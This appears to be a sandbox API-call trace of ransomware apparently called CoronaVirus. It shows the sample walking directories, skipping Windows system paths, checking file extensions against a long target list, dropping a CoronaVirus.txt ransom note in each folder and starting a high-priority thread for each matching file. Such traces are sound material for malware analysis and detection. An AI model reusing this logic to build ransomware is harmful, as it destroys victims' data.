	[0082.424] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0082.424] FindClose (in: hFindFile=0x6009d0 | out: hFindFile=0x6009d0) returned 1
	[0082.424] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c90eba, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe8c90eba, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.424] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.430] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.430] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.430] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.433] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.433] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.433] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.433] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.433] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.433] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.433] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.433] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.433] _wcslwr (in: _String=0x3173afa | out: _String=".txt") returned=".txt"
	[0082.433] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.433] malloc (_Size=0x1000) returned 0x2f28548
	[0082.433] _swprintf (in: param_1=0x2f28548, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\CoronaVirus.txt") returned 37
	[0082.434] wcsstr (_Str="C:\\588bce7c90097ed212\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.434] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1
	[0082.434] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0082.434] wcsncmp (_String1="DH", _String2="..", _MaxCount=0x2) returned 22
	[0082.437] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1
	[0082.437] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0082.437] wcsncmp (_String1="Di", _String2="..", _MaxCount=0x2) returned 22
	[0082.437] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.437] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.437] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.437] wcsstr (_Str=".bat", _SubStr=".ico") returned 0x0
	[0082.437] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.437] wcsstr (_Str=".doc", _SubStr=".ico") returned 0x0
	[0082.437] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.438] wcsstr (_Str=".jpg", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".jpe", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".txt", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".tex", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".dbf", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".xls", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".cry", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".xml", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".vsd", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".pdf", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".csv", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".bmp", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".tif", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".1cd", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".tax", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".gif", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".gbr", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".png", _SubStr=".ico") returned 0x0
	[0082.440] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.440] wcsstr (_Str=".mdb", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".mdf", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".sdf", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".dwg", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".dxf", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".dgn", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".stl", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".gho", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".v2i", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".3ds", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".ppt", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".acc", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".vpd", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".odt", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".ods", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".rar", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".zip", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".cpp", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.441] wcsstr (_Str=".pas", _SubStr=".ico") returned 0x0
	[0082.441] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".asm", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".rtf", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".lic", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".avi", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".mov", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".mp3", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".vbs", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".v8i", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".erf", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".epf", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".mxl", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".cfu", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".mht", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.442] _wcslwr (in: _String=0x3173afa | out: _String=".ico") returned=".ico"
	[0082.442] wcsstr (_Str=".old", _SubStr=".ico") returned 0x0
	[0082.442] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1
	[0082.442] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0082.442] wcsncmp (_String1="Ex", _String2="..", _MaxCount=0x2) returned 23
	[0082.442] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Extended") returned 30
	[0082.442] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0082.442] wcsstr (_Str="C:\\588bce7c90097ed212\\Extended", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.443] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.446] _alloca_probe () returned 0x4036d0
	[0082.446] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Extended", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\Extended", lpFilePart=0x316583c*="Extended") returned 0x1e
	[0082.446] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea7ecdf5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0082.446] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.526] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea7ecdf5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.526] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.526] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea7ecdf5, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea7ecdf5, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0082.526] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0082.526] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0082.526] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.526] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0082.526] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.526] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0082.526] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.526] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0082.526] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.526] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0082.526] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.526] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0082.526] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0082.526] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0082.526] malloc (_Size=0x1000) returned 0x2f2a558
	[0082.526] _swprintf (in: param_1=0x2f2a558, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Extended\\CoronaVirus.txt") returned 46
	[0082.526] wcsstr (_Str="C:\\588bce7c90097ed212\\Extended\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0082.526] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0082.527] wcsncmp (_String1="P", _String2=".", _MaxCount=0x1) returned 34
	[0082.527] wcsncmp (_String1="Pa", _String2="..", _MaxCount=0x2) returned 34
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.527] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0082.527] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.527] malloc (_Size=0x1000) returned 0x2f2b560
	[0082.527] _swprintf (in: param_1=0x2f2b560, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0082.527] wcsstr (_Str="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.527] wcsstr (_Str="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", _SubStr="wasse") returned 0x0
	[0082.527] wcsstr (_Str="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", _SubStr="passw") returned 0x0
	[0082.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2b560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0082.528] SetThreadPriority (hThread=0x4dc, nPriority=15) returned 1
	[0082.530] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0082.530] wcsncmp (_String1="U", _String2=".", _MaxCount=0x1) returned 39
	[0082.530] wcsncmp (_String1="Ui", _String2="..", _MaxCount=0x2) returned 39
	[0082.530] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.530] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0082.530] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.530] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0082.530] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.536] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0082.536] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.536] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0082.536] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.536] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0082.536] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.536] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0082.536] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.536] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0082.551] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.551] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0082.551] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.551] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0082.551] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.551] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0082.551] _wcslwr (in: _String=0x3165878 | out: _String=".xml") returned=".xml"
	[0082.551] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0082.551] malloc (_Size=0x1000) returned 0x2f2c568
	[0082.552] _swprintf (in: param_1=0x2f2c568, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0082.552] wcsstr (_Str="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", _SubStr="CoronaVirus") returned 0x0
	[0082.552] wcsstr (_Str="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", _SubStr="wasse") returned 0x0
	[0082.552] wcsstr (_Str="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", _SubStr="passw") returned 0x0
	[0082.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2c568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0
	[0082.552] SetThreadPriority (hThread=0x4e0, nPriority=15) returned 1
	[0082.578] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0082.578] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0082.578] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0082.578] wcsncmp (_String1="G", _String2=".", _MaxCount=0x1) returned 25
	[0082.579] wcsncmp (_String1="Gr", _String2="..", _MaxCount=0x2) returned 25
	[0082.579] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0082.579] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0082.579] wcsstr (_Str="C:\\588bce7c90097ed212\\Graphics", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.579] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\graphics\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.586] _alloca_probe () returned 0x4036d0
	[0082.586] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics", lpFilePart=0x316583c*="Graphics") returned 0x1e
	[0082.586] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea9441d4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0082.586] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
